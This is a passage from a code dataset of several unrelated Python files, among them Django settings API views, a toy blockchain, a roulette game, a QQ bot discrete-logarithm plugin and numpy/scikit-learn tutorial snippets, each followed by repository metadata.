getMetaTagSettings(request):\n try:\n meta = MetaTagSettings.objects.all()\n metaSer = MetaTagsSettingsSerializer(meta , many = True)\n return Response(metaSer.data[0], status = status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST'])\ndef createPhoneNoAndEmail(request):\n try:\n if PhoneNumberandEmailSettings.objects.exists():\n metaTags = PhoneNumberandEmailSettings.objects.all()\n metaSer = PhoneNumberAndEmailSettingsSerializer(data = request.data)\n if metaSer.is_valid():\n for metaTag in metaTags:\n metaTag.phone_no = metaSer.validated_data['phone_no']\n metaTag.email = metaSer.validated_data['email']\n metaTag.save()\n return Response(status = status.HTTP_200_OK)\n return Response(metaSer.errors,status = status.HTTP_400_BAD_REQUEST)\n else:\n metaSer = PhoneNumberAndEmailSettingsSerializer(data = request.data)\n if metaSer.is_valid():\n metaSer.save()\n return Response(status = status.HTTP_200_OK)\n return Response(metaSer.errors,status = status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n@api_view(['GET',])\n@authentication_classes([])\n@permission_classes([])\ndef getPhoneNoAndEmail(request):\n try:\n meta = PhoneNumberandEmailSettings.objects.all()\n metaSer = PhoneNumberAndEmailSettingsSerializer(meta , many = True)\n return Response(metaSer.data, status = status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n \n\n@api_view(['POST'])\ndef createAnnoucement(request):\n try:\n if AnnouncementSettings.objects.exists():\n announcements = AnnouncementSettings.objects.all()\n announcementSer = AnnouncementSettingsSerializer(data = request.data)\n if announcementSer.is_valid():\n for announcement in announcements:\n announcement.message = announcementSer.validated_data['message']\n announcement.deleted = False\n announcement.save()\n return Response(status = status.HTTP_200_OK)\n return Response(announcementSer.errors,status = status.HTTP_400_BAD_REQUEST)\n else:\n announcementSer = AnnouncementSettingsSerializer(data = request.data)\n if announcementSer.is_valid():\n announcementSer.save()\n return Response(status = status.HTTP_200_OK)\n return Response(announcementSer.errors,status = status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n@api_view(['GET',])\n@authentication_classes([])\n@permission_classes([])\ndef getAnnoucement(request):\n try:\n announcement = AnnouncementSettings.objects.filter(deleted = False)\n announcementSer = AnnouncementSettingsSerializer(announcement , many = True)\n if len(announcement) > 0:\n return Response(announcementSer.data[0], status = status.HTTP_200_OK)\n else:\n return Response(status = status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n@api_view(['POST'])\ndef turnOffAnnoucement(request):\n try:\n if AnnouncementSettings.objects.exists():\n announcements = AnnouncementSettings.objects.all()\n for announcement in announcements:\n announcement.deleted = True\n announcement.save()\n return Response(status = status.HTTP_200_OK)\n else:\n return Response(status = status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n@api_view(['POST'])\ndef createLogo(request):\n try:\n if LogoSettings.objects.exists():\n logos = LogoSettings.objects.all()\n logoSer = LogoSettingsSerializer(data = request.data)\n if logoSer.is_valid():\n for logo in logos:\n logo.logo = logoSer.validated_data['logo']\n logo.save()\n return Response(status = status.HTTP_200_OK)\n return Response(logoSer.errors,status = status.HTTP_400_BAD_REQUEST)\n else: \n logoSer = LogoSettingsSerializer(data = request.data)\n if logoSer.is_valid():\n logoSer.save()\n return Response(status = status.HTTP_200_OK)\n return Response(logoSer.errors,status = status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(\"unknown error\",status = status.HTTP_400_BAD_REQUEST)\n@api_view(['GET',])\n@authentication_classes([])\n@permission_classes([])\ndef getLogo(request):\n try:\n logos = LogoSettings.objects.all()\n logoSer = LogoSettingsSerializer(logos , many = True)\n return Response(logoSer.data[0], status = status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST'])\ndef createSideImage(request):\n try:\n if LoginAndSignupSidePics.objects.exists():\n logoAndSides = LoginAndSignupSidePics.objects.all()\n loginSer = LoginAndSignupSidePicsSerializer(data = request.data)\n if loginSer.is_valid():\n for logoAndSide in logoAndSides:\n logoAndSide.image = loginSer.validated_data['image']\n logoAndSide.save()\n return Response(status = status.HTTP_200_OK)\n return Response(loginSer.errors,status = status.HTTP_400_BAD_REQUEST)\n else: \n loginSer = LoginAndSignupSidePicsSerializer(data = request.data)\n if loginSer.is_valid():\n loginSer.save()\n return Response(status = status.HTTP_200_OK)\n return Response(loginSer.errors,status = status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(\"unknown error\",status = status.HTTP_400_BAD_REQUEST)\n@api_view(['GET',])\n@authentication_classes([])\n@permission_classes([])\ndef getSideImage(request):\n try:\n loginPic = LoginAndSignupSidePics.objects.all()\n loginPicSer = LoginAndSignupSidePicsSerializer(loginPic ,many = True)\n return Response(loginPicSer.data[0], status = status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST'])\ndef createBasicSetting(request):\n try:\n if BasicSettings.objects.exists():\n settings = BasicSettings.objects.all()\n settingSer = BasicSettingsSerializer(data = request.data)\n if settingSer.is_valid():\n for setting in settings:\n setting.phone_no = settingSer.validated_data['phone_no']\n setting.email = settingSer.validated_data['email']\n setting.save()\n return Response(status = status.HTTP_200_OK)\n return Response(settingSer.errors,status = status.HTTP_400_BAD_REQUEST)\n else: \n settingSer = BasicSettingsSerializer(data = request.data)\n if settingSer.is_valid():\n settingSer.save()\n return Response(status = status.HTTP_200_OK)\n return Response(logoSer.errors,status = status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(\"unknown error\",status = status.HTTP_400_BAD_REQUEST)\n@api_view(['GET',])\n@authentication_classes([])\n@permission_classes([])\ndef getBasicSettings(request):\n try:\n settings = BasicSettings.objects.all()\n settingSer = BasicSettingsSerializer(settings , many = True)\n return Response(settingSer.data[0], status = status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST',])\ndef addImage(request):\n try:\n imageSer = TopImagesSettingsSerializer(data = request.data)\n if imageSer.is_valid():\n imageSer.save()\n return Response(status = status.HTTP_200_OK)\n return Response(imageSer.errors,status = status.HTTP_400_BAD_REQUEST)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n@api_view(['GET'])\n@authentication_classes([])\n@permission_classes([])\ndef getImage(request):\n try:\n allImages = TopImagesSettings.objects.filter(deleted = False)\n image_ser = TopImagesSettingsSerializer(allImages, many = True)\n return Response(image_ser.data, status = status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n\n@api_view(['POST'])\ndef deleteImage(request,id):\n try:\n image = TopImagesSettings.objects.get(id = id)\n image.deleted = True\n image.save()\n return Response(status = status.HTTP_200_OK)\n except Exception:\n return Response(status = status.HTTP_400_BAD_REQUEST)\n","repo_name":"natanshimeles/FoodBkEnd","sub_path":"UserManagement/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":30547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73732139280","text":"# This program shows off the basics of classes in Python3\n# By: Nick from CoffeeBeforeArch\n\n# Encapsulate the coordinates of a point in a single class\nclass Coordinate():\n # An __init__ method is called to create an instance\n # of this class\n # 'self' points to this particular instance\n def __init__(self, x, y):\n # 'x' and 'y' are are data attributed\n # Data attributes of an instance are also called instance\n # variables\n self.x = x\n self.y = y\n \n # We can also define our own methods\n # We'll use 'self' to refer to this instance, and 'other', another\n def distance(self, other):\n # Simple Pythag. Thm.\n x_diff_sq = (self.x - other.x) ** 2\n y_diff_sq = (self.y - other.y) ** 2\n return (x_diff_sq + y_diff_sq) ** 0.5\n \n # __str__(self) is used when we try and print an object\n def __str__(self):\n return \"<\" + str(self.x) + \",\" + str(self.y) + \">\"\n\n # Other things we can override\n # __add__, __sub__, __eq__, __lt__, __len__, ...\n\n# Create two instances of coordinates\nc1 = Coordinate(3, 4)\norigin = Coordinate(0, 0)\n\n# Print out coordinates\nprint(f\"Coordinate c1: x={c1.x}, y={c1.y}\")\nprint(f\"Coordinate origin: x={origin.x}, y={origin.y}\")\n\n# Print out the distance using explicit and implicit parameters\nprint(f\"Distance with explicit parameters {Coordinate.distance(c1, origin)}\")\nprint(f\"Distance with implicit parameters {c1.distance(origin)}\")\n\n# Use out custom string when print is called\nprint(c1)\n","repo_name":"CoffeeBeforeArch/python3_crash_course","sub_path":"fundamental_concepts/classes/simple_class.py","file_name":"simple_class.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"23754228654","text":"import json\nimport queue\n\nclass Parser:\n def __init__(self) -> None:\n self.q = queue.Queue()\n \n def parse(self, json_input, prefix=0):\n if isinstance(json_input, dict):\n for k, v in json_input.items():\n if isinstance(v, str):\n self.q.put((\"{}:{}\".format(k, v), prefix))\n # print(f\"{k} : {v}, {prefix} ohyeah\") \n else:\n self.q.put((k, prefix))\n self.parse(v, prefix=prefix+1)\n elif isinstance(json_input, list):\n for item in json_input:\n if not isinstance(item, dict):\n self.q.put((item, prefix))\n self.parse(item, prefix+1)\n \n def dump(self):\n while not self.q.empty():\n print(self.q.get())\n\n# Find specific key-value recursively\n#* dict_var: json doc\ndef id_generator(dict_var):\n for k, v in dict_var.items():\n if k == \"id\":\n yield v\n elif isinstance(v, dict):\n for id_val in id_generator(v):\n yield id_val\n\nif __name__ ==\"__main__\":\n with open(\"input/input.json\") as topo_file:\n p = Parser()\n p.parse(json.load(topo_file))","repo_name":"causemx/gpt2ppt","sub_path":"gpt2ppt/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"30856487613","text":"import datetime\n\nfrom django.db.models import Q\n\nfrom TWLight.resources.models import Partner\nfrom TWLight.users.models import Authorization\n\n\ndef get_all_bundle_authorizations():\n \"\"\"\n Returns all Bundle authorizations, both active\n and not.\n \"\"\"\n\n return Authorization.objects.filter(\n partners__authorization_method=Partner.BUNDLE\n ).distinct() # distinct() required because partners__authorization_method is ManyToMany\n\n\ndef get_valid_partner_authorizations(partner_pk):\n \"\"\"\n Retrieves the valid authorizations available for a particular\n partner. Valid authorizations are authorizations with which we can operate,\n and is decided by certain conditions as spelled out in the is_valid property\n of the Authorization model object (users/models.py).\n \"\"\"\n today = datetime.date.today()\n try:\n # The filter below is equivalent to retrieving all authorizations for a partner\n # and checking every authorization against the is_valid property\n # of the authorization model, and hence *must* be kept in sync with the logic in\n # TWLight.users.model.Authorization.is_valid property. We don't need to check for\n # partner_id__isnull since it is functionally covered by partners=partner_pk.\n valid_authorizations = Authorization.objects.filter(\n Q(date_expires__isnull=False, date_expires__gte=today)\n | Q(date_expires__isnull=True),\n authorizer__isnull=False,\n user__isnull=False,\n date_authorized__isnull=False,\n date_authorized__lte=today,\n partners=partner_pk,\n )\n\n return valid_authorizations\n except Authorization.DoesNotExist:\n return Authorization.objects.none()\n\n\ndef create_resource_dict(authorization, partner):\n resource_item = {\n \"partner\": partner,\n \"authorization\": authorization,\n }\n\n access_url = partner.get_access_url\n resource_item[\"access_url\"] = access_url\n\n valid_authorization = authorization.is_valid\n resource_item[\"valid_proxy_authorization\"] = (\n partner.authorization_method == partner.PROXY and valid_authorization\n )\n resource_item[\"valid_authorization_with_access_url\"] = (\n access_url\n and valid_authorization\n and authorization.user.userprofile.terms_of_use\n )\n\n return resource_item\n\n\ndef delete_duplicate_bundle_authorizations(authorizations):\n \"\"\"\n Given a queryset of Authorization objects,\n delete duplicate Bundle authorizations.\n \"\"\"\n bundle_authorizations = authorizations.filter(\n partners__authorization_method=Partner.BUNDLE\n )\n # Get a list of users with bundle auths\n for user_id in bundle_authorizations.values_list(\"user_id\"):\n # get the distinct set of authorizations for the user\n user_authorizations = bundle_authorizations.filter(user_id=user_id).distinct()\n # There should be no more than one bundle auth per user, so slice the queryest to get any auths beyond that\n for duplicate_authorization in user_authorizations[1:].iterator():\n # Delete it\n duplicate_authorization.delete()\n\n\ndef sort_authorizations_into_resource_list(authorizations):\n \"\"\"\n Given a queryset of Authorization objects, return a\n list of dictionaries, sorted alphabetically by partner\n name, with additional data computed for ease of display\n in the my_library template.\n \"\"\"\n resource_list = []\n if authorizations:\n for authorization in authorizations:\n for partner in authorization.partners.all():\n resource_list.append(create_resource_dict(authorization, partner))\n\n # Alphabetise by name\n resource_list = sorted(\n resource_list, key=lambda i: i[\"partner\"].company_name.lower()\n )\n\n return resource_list\n else:\n return None\n","repo_name":"WikipediaLibrary/TWLight","sub_path":"TWLight/users/helpers/authorizations.py","file_name":"authorizations.py","file_ext":"py","file_size_in_byte":3899,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"3"} +{"seq_id":"28737238368","text":"import hashlib\nimport json\nfrom time import time\nfrom uuid import uuid4\nimport requests\nfrom urllib.parse import urlparse\n\n\nclass Blockchain(object):\n\n def __init__(self):\n self.chain = []\n self.current_transactions = []\n self.nodes = set()\n self.newBlock(previous_hash=1, proof=100)\n \n\n def registerNode(self, address):\n parsed_url = urlparse(address)\n self.nodes.add(parsed_url.netloc)\n\n def newBlock(self, proof, previous_hash=None):\n\n block = {\n 'index': len(self.chain) + 1,\n 'timestamp': time(),\n 'transactions': self.current_transactions,\n 'proof': proof,\n 'previous_hash': previous_hash or self.hash(self.chain[-1])\n }\n\n self.current_transactions = []\n self.chain.append(block)\n\n return block\n\n def newTransaction(self, sender, recipient, amount):\n\n self.current_transactions.append({\n 'sender': sender,\n 'recipient': recipient,\n 'amount': amount,\n })\n\n return self.lastBlock['index'] + 1\n\n @staticmethod\n def hash(block):\n\n block_string = json.dumps(block, sort_keys=True).encode()\n return hashlib.sha256(block_string).hexdigest()\n\n @property\n def lastBlock(self):\n\n return self.chain[-1]\n\n def proofOfWork(self, last_proof):\n\n proof = 0\n\n while self.validProof(last_proof, proof) is False:\n proof += 1\n\n return proof\n\n @staticmethod\n def validProof(last_proof, proof):\n\n guess = str(last_proof * proof).encode()\n guess_hash = hashlib.sha256(guess).hexdigest()\n return guess_hash[:4] == \"0000\"\n\n\n def validChain(self, chain):\n\n last_block = chain[0]\n current_index = 1\n\n while current_index < len(chain):\n block = chain[current_index]\n print(f'{last_block}')\n print(f'{block}')\n print(\"\\n======================================\\n\")\n # 이전 블럭 검사\n if block['previous_hash'] != self.hash(last_block):\n return False\n # 블럭 검증\n if not self.validProof(last_block['proof'], block['proof']):\n return False\n\n last_block = block\n current_index += 1\n \n return True\n\n def resolveConflicts(self):\n\n neighbours = self.nodes\n new_chain = None\n\n max_length = len(self.chain)\n\n for node in neighbours:\n response = requests.get('http://{%s}/chain'%(node))\n\n if response.status_code == 200:\n length = response.json()['length']\n chain = response.json()['chain']\n\n if length > max_length and self.validChain(chain):\n max_length = length\n new_chain = chain\n\n if new_chain:\n self.chain = new_chain\n return True\n\n return False","repo_name":"love5757/blockchain-py-sample","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18323990211","text":"import sys\nimport math\nfrom collections import deque\n\nsys.setrecursionlimit(100000)\nMOD = 998244353\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\n\n\ndef main():\n N, D = NMI()\n ans = 0\n\n if 2*(N-1) < D:\n print(ans)\n exit()\n\n for k in range(D+1):\n left = k\n right = D - k\n if left > N-1 or right > N-1:\n continue\n\n if k < D/2:\n base = pow(2, N-D+k, MOD) - 1\n else:\n base = pow(2, N-k, MOD) - 1\n\n if k == 0 or k == D:\n ans += pow(2, D-1, MOD) * base % MOD\n else:\n ans += pow(2, D-2, MOD) * base % MOD\n\n ans %= MOD\n\n print(ans*2%MOD)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"ABC/ABC220/ABC220E.py","file_name":"ABC220E.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73421847440","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom analyse_py import *\nfrom analyse_sql import *\n\nfrom jobs.meta_manager.coyp.analyse_job import *\n\n\ndef analyse(file):\n \"\"\"\n 根据不同后缀解析\n :param file:\n :return:\n \"\"\"\n suffix=file.split('.')[-1]\n func = {\n \"sql\": analyse_sql,\n \"job\": analyse_job,\n \"py\": analyse_py,\n }\n if func.has_key(suffix):\n func[suffix](file)\n\n\n\n# analyse('aaa.sql')","repo_name":"zhangshihai1232/metaAnalyser","sub_path":"meta_manager/coyp/analyse.py","file_name":"analyse.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34253922735","text":"import sys\nsys.path.insert(0, r\"C:\\Users\\Administrator\\Desktop\\qqbot\\qqbot\\plugins\")\nfrom blacklist import check_blacklist\nimport nonebot\nfrom nonebot import on_command, CommandSession\nimport requests\n\n__plugin_name__ = '离散对数'\n__plugin_usage__ = r\"\"\"\n离散对数\n\n使用方法:离散对数 [模数 m] [原根 a] [幂 b]\n亦即求解 b = a ** i (mod m),输出指数 i,不保证能求出结果\n\"\"\".strip()\n\n\ndef find_discrete_log(mod_number, root, integer):\n true = True\n false = False\n url = \"https://sagecell.sagemath.org/service\"\n data = {\n \"code\": '''\nZmodN = Zmod({mod_number})\nm = ZmodN({integer})\nbase = ZmodN({root})\nprint(m.log(base))\n '''.format(mod_number=mod_number, integer=integer, root=root).strip()\n }\n r = requests.post(url, data=data)\n result = eval(r.text)\n if result[\"success\"]:\n return result[\"stdout\"].strip()\n else:\n return \"没求出来。注意 a 必须是原根,否则离散对数无定义。输入“离散对数”四个字可以查看使用方法\"\n\n\n@on_command('离散对数', only_to_me=False)\nasync def _(session: CommandSession):\n if check_blacklist(session.ctx.get('user_id')):\n return None\n arg = session.current_arg_text.strip().lower()\n if not arg:\n await session.send(\"使用方法:离散对数 [模数 m] [原根 a] [幂 b],亦即求解 b = a ** i (mod m),输出指数 i\")\n return\n else:\n tmp_list = arg.split()\n if len(tmp_list) != 3:\n await session.send(\"爬爬爬\")\n return\n try:\n mod_number, integer, root = (int(i) for i in tmp_list)\n if mod_number <= 0 or root <= 0 or integer <= 0:\n await session.send(\"爬爬爬\")\n return\n except BaseException:\n await session.send(\"爬爬爬\")\n return\n await session.send(\"在求了在求了\")\n answer = find_discrete_log(mod_number, root, integer)\n await session.send(answer)\n return\n","repo_name":"Moreonenight/cxfqqbot","sub_path":"qqbot/plugins/discrete_log.py","file_name":"discrete_log.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"28768786605","text":"from tela import *\nfrom banco import *\n\n\ndef cadastrar():\n \n limpaTela()\n cabecalho('CADASTRO DE CLIENTES')\n\n nome = str(input('Nome: '))\n endereco = str(input('Endereço: '))\n cpf = str(input('CPF: '))\n\n cadastrar_clientes(nome, endereco, cpf)\n\n\ndef relatorio():\n\n limpaTela()\n cabecalho('RELATÓRIO DE CLIENTES')\n\n print()\n\n relatorio_clientes()\n\n print()\n \n input('[ENTER] para continuar...')\n","repo_name":"tiagoliveira555/projetos-python","sub_path":"programadecadastro/Outro/gerente.py","file_name":"gerente.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10774368021","text":"\"\"\"Build a working roulette game. At minimum, this script should\nComplete one round of roulette - but if you're up to the challenge,\nfeel free to build a full command line interface through which\n\"\"\"\n\nimport random\n\nbank_account = 1000\nbet_amount = 0\nbet_color = None\nbet_number = None\nnumber_rolled = 0\ncolor_rolled = \"\"\n\ngreen = [0, 37]\nred = [1, 3, 5, 7, 9, 12, 14, 16, 18, 19, 21, 23, 25, 27, 30, 32, 34, 36]\nblack = [2, 4, 6, 8, 10, 11, 13, 15, 17, 20, 22, 24, 26, 28, 29, 31, 33, 35]\n\n\ndef take_bet(account):\n if account <= 0:\n print(\"Sorry, you've lost all of your money.\")\n return(-1)\n\n choice = input(\"\\nWhat would you like to bet on, a color or number?: \")\n amount = input(\"How much money would you like to bet (keep in mind you have $%i in your account): \" % (account))\n bet_amount = int(amount)\n\n if account < bet_amount:\n print(\"Sorry, but you can't bet more than what you have; which is %i. Bet a smaller amount\" % (account))\n\n if choice == \"color\":\n color = input(\"What color would you like to bet on -> green, red or black: \")\n bet_color = color\n are_you_sure = input(\"Are you sure you want to bet $%i on %s?: \" % (bet_amount, bet_color))\n if are_you_sure == \"yes\":\n return(bet_amount, bet_color)\n else:\n return(None)\n\n elif choice == \"number\":\n number = input(\"Pick a number between 0 and 37 that you would like to bet on: \")\n bet_number = int(number)\n are_you_sure = input(\"Are you sure you want to bet $%i on %i?:\" % (bet_amount, bet_number))\n if are_you_sure == \"yes\":\n return(bet_amount, bet_number)\n else:\n return(None)\n\n\ndef roll_ball():\n \"\"\"Return a random number between 0 and 37.\"\"\"\n number_rolled = random.randint(0, 37)\n if green.count(number_rolled) > 0:\n color_rolled = \"green\"\n elif red.count(number_rolled) > 0:\n color_rolled = \"red\"\n elif black.count(number_rolled) > 0:\n color_rolled = \"black\"\n\n print(\"\\nNumber: %i - Color: %s\" % (number_rolled, color_rolled))\n return(number_rolled, color_rolled)\n\n\ndef check_results(bet_tup, res_tup):\n \"\"\"\n Compare bet_color to color rolled.\n Compares bet_number to number_rolled.\n \"\"\"\n colors = [\"red\", \"green\", \"black\"]\n if colors.count(bet_tup[1]) > 0:\n if bet_tup[1] == res_tup[1]:\n print(\"You've guessed the right color!\\n\")\n return(1)\n else:\n print(\"Sorry, but you didn't win this round.\\n\")\n return(-1)\n\n elif bet_tup[1]:\n if bet_tup[1] == res_tup[0]:\n print(\"I don't know if it's luck or not but you've guessed the right number!\\n\")\n return(2)\n else:\n print(\"Sorry, but you didn't win this round.\\n\")\n return(-2)\n\n\ndef payout(number, tup, account):\n \"\"\"Return total amount won or lost by user based on results of roll.\"\"\"\n local_account = account\n if number == 1:\n print(\"You're payout is $%i\" % (tup[0]/2))\n local_account = local_account + (tup[0] / 2)\n print(\"You now have $%i in your account.\" % (local_account))\n elif number == -1:\n print(\"You've lost $%i\" % (tup[0]/2))\n local_account = local_account - (tup[0] / 2)\n print(\"You now have $%i in your account.\" % (local_account))\n elif number == -2:\n print(\"You've lost $%i\" % (tup[0] * 2))\n local_account = local_account - (tup[0] * 2)\n print(\"You now have $%i in your account.\" % (local_account))\n elif number == 2:\n print(\"You're payout is $%i\" % (tup[0] * 2))\n local_account = local_account + (tup[0] * 2)\n print(\"You now have $%i in your account.\" % (local_account))\n\n return local_account\n\n\nif __name__ == '__main__':\n \"\"\"Initiate roulette game.\"\"\"\n def roulette(account):\n placed_bet = take_bet(account)\n if placed_bet is None:\n roulette(account)\n elif placed_bet == -1:\n print(\"Go get some cash then come back!\")\n return\n\n roll_results = roll_ball()\n newaccount = payout(check_results(placed_bet, roll_results), placed_bet, account)\n\n contin = input(\"\\nWould you like to keep [p]laying or [c]ash out? (enter 'p' or 'c'): \")\n if contin == \"p\":\n roulette(newaccount)\n else:\n print(\"Thanks for playing, hope you enjoyed the game!\")\n\n roulette(bank_account)\n","repo_name":"e-bushi/cs_one","sub_path":"roulette.py","file_name":"roulette.py","file_ext":"py","file_size_in_byte":4455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21564178600","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 24 11:31:24 2016\n\n@author: ahmed\n\"\"\"\n\n\"\"\"\nNumpy Arrays\n\"\"\"\nimport numpy as np\n#generating a random array\nX=np.random.random((3,5)) # a 3 X 5 array\nprint(X)\nprint(\"X type is\")\nprint(type(X))\nprint(\"X shape is 3 rows and 5 columns\")\nprint(X.shape)\n\n#Accessing elements\n#Get a single element\nprint(\"Some X single element\")\nprint(X[0,0])\nprint(X[0,1])\nprint(X[0,2])\nprint(X[0,3])\nprint(X[0,4])\n#Get a row\nprint(X[0])\nprint(X[1])\nprint(X[2])\n#Get a column\nprint(X[:,0])\nprint(X[:,1])\nprint(X[:,2])\nprint(X[:,3])\nprint(X[:,4])\n\nprint(X)\n# Transposing X\nprint(X.T)\n# Turning a row vector into a column vector\ny=np.linspace(0,12,5)\nprint(y)\n# make into a column vector\nprint(y[:,np.newaxis])\nprint(y[:,])\n# Getting the shape or reshaping an array: many examples\nprint(X.shape)\nprint(X.reshape(5,3))\nprint(X.reshape(15,1))\nprint(X.reshape(1,15))\n\n# Indexing by an array of integers (fancy indexing)\nindices=np.array([3,1,0])\nprint(indices)\nX[:,indices]\n\"\"\"\nScipy Sparse Matrices\n\"\"\"\nfrom scipy import sparse\n#create a random array with a lot of zeros\nX=np.random.random((10,5))\nprint(X)\n#set the majority of elements to zero\nX[X<0.7]=0\nprint(X)\n#turn X into a csr Compressed Sparse row matrix\nX_csr=sparse.csr_matrix(X)\nprint(X_csr)\n#Convert the sparse matrix to a dense array\nprint(X_csr.toarray())\n#Create an empty LIL matrix and add some items\nX_lil=sparse.lil_matrix((5,5))\nfor i,j in np.random.randint(0,5,(15,2)):\n X_lil[i,j]=i+j\nprint(X_lil)\nprint(X_lil.toarray())\nprint(X_lil.tocsr())\n\"\"\"\nMatplotlib\n\"\"\"\nimport matplotlib.pyplot as plt\n# plotting a line\nx = np.linspace(0, 10, 100)\nplt.plot(x, np.sin(x))\n# scatter-plot points\nx = np.random.normal(size=500)\ny = np.random.normal(size=500)\nplt.scatter(x, y)\n# showing images\nx = np.linspace(1, 12, 100)\ny = x[:, np.newaxis]\n\nim = y * np.sin(x) * np.cos(y)\nprint(im.shape)\n# imshow - note that origin is at the top-left by default!\nplt.imshow(im)\n# Contour plot - note that origin here is at the bottom-left by default!\nplt.contour(im)\n# 3D plotting\nfrom mpl_toolkits.mplot3d import Axes3D\nax = plt.axes(projection='3d')\nxgrid, ygrid = np.meshgrid(x, y.ravel())\nax.plot_surface(xgrid, ygrid, im, cmap=plt.cm.jet, cstride=2, rstride=2, linewidth=0)\n# %load http://matplotlib.org/mpl_examples/pylab_examples/ellipse_collection.py\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.collections import EllipseCollection\n\nx = np.arange(10)\ny = np.arange(15)\nX, Y = np.meshgrid(x, y)\nXY = np.hstack((X.ravel()[:,np.newaxis], Y.ravel()[:,np.newaxis]))\nww = X/10.0\nhh = Y/15.0\naa = X*9\nfig, ax = plt.subplots()\nec = EllipseCollection(ww, hh, aa, units='x', offsets=XY,transOffset=ax.transData)\nec.set_array((X+Y).ravel())\nax.add_collection(ec)\nax.autoscale_view()\nax.set_xlabel('X')\nax.set_ylabel('y')\ncbar = plt.colorbar(ec)\ncbar.set_label('X+Y')\nplt.show()\n\"\"\"\nAnother examples with matplotlib\n\"\"\"\n\n\n\n\n\n\"\"\"\nSupervised learning classification CLASSIFICATION\n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\n\"\"\"\nTo visualize the ML Working algorithms, it is helpful to study 2D & 1D data i.e\ndata with only 2 or 1 features. \nThe first example will use: synthetic data generated by the make_blobs function\n\"\"\"\nfrom sklearn.datasets import make_blobs\nX,y=make_blobs(centers=2,random_state=0)\nprint(type(y))\nprint(X.shape)\nprint(type(y))\nprint(y.shape)\nprint(X[:5,:])\nprint(y[:5])\nplt.scatter(X[:,0],X[:,1],c=y,s=40)\nplt.xlabel(\"First feature\")\nplt.ylabel(\"second feature\")\n# the train_test_split function from the cross_validation modules does that\n# for us, by randomly splitting of 25% of the data for testing\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, y_train, y_test=train_test_split(X,y,random_state=0)\n#Every algorithm is an Estimator object, a logistic regression\nfrom sklearn.linear_model import LogisticRegression\n# Method\n# First we instantiate the estimator object\nclassifier=LogisticRegression()\nprint(X_train.shape)\nprint(y_train.shape)\n# Second we call the fit function with the training data\nclassifier.fit(X_train, y_train)\n# Third we call the predict function with the testing data\nprediction=classifier.predict(X_test)\n\"\"\"\nFourth we compare between the prediction and the data\nWe can evaluate the classifier quantitatively by measuring what fraction\nof prediction is correct: this called accuracy\n\"\"\"\nprint(prediction)\nprint(y_test)\nnp.mean(prediction == y_test)\nprint(\"mean(prediction == y_test)\")\nprint(np.mean(prediction == y_test))\n\"\"\"\nThere is also an direct function inside sckit-learn which is the score function\nit computes directly from the test data\n\"\"\"\nclassifier.score(X_test,y_test)\nprint(\"classifier.score(X_train,y_train)\")\nprint(classifier.score(X_test,y_test))\nclassifier.score(X_train,y_train)\nprint(\"classifier.score(X_train,y_train)\")\nprint(classifier.score(X_train,y_train))\n# plotting results if possible \nfrom figures import plot_2d_separator\nplt.scatter(X[:,0],X[:,1],c=y,s=40)\nplt.xlabel(\"First feature\")\nplt.ylabel(\"Second feature\")\nplot_2d_separator(classifier, X)\n# Finally we estimate the estimated paramters ending by an underscore\nprint(classifier.coef_)\nprint(classifier.intercept_)\nprint(classifier.classes_)\n\"\"\" \nAnother classifier: K Nearest Neighbors: popular and easy\nOne of the simplest strategies:\nGiven a new unknown observation, look up in your reference database\nwhich one have the closest features and assign the predominant 